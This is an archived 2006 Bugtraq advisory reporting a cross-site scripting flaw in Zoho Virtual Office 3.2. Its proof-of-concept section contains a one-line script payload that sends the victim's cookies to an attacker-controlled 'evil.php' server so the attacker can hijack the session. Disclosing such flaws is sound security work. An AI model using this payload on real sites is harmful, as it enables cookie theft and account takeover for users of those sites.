bugtraq - Cross Site Scripting Vulnerability in Zoho Virtual Office

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 17 Jul 2006 14:29:08 +0200
From: ss_team <ssteam.pl@...il.com>
To: bugtraq@...urityfocus.com
Subject: Cross Site Scripting Vulnerability in Zoho Virtual Office

Hello,

We have discovered a vunerability in Zoho Virtual Office.

Malformed HTML message could lead to XSS Attack. It can cause a cookie
theft leading to session hijacking.

PoC:
Simply creating HTML message including Javascript code could lead the
browser's frame into evil script on attacker's server.
Example:

<script>document.location='http://server/evil/evil.php?'+document.cookie
</script>

evil.php file contains code which saves cookie variables on evil server.
attacker can prepare cookie and hijack the user's session.

Affected version: 3.2 Build 3210 (latest), previous versions might
also be vulnerable.
Vendor was contacted 72 hours ago.

best regards
marc & shb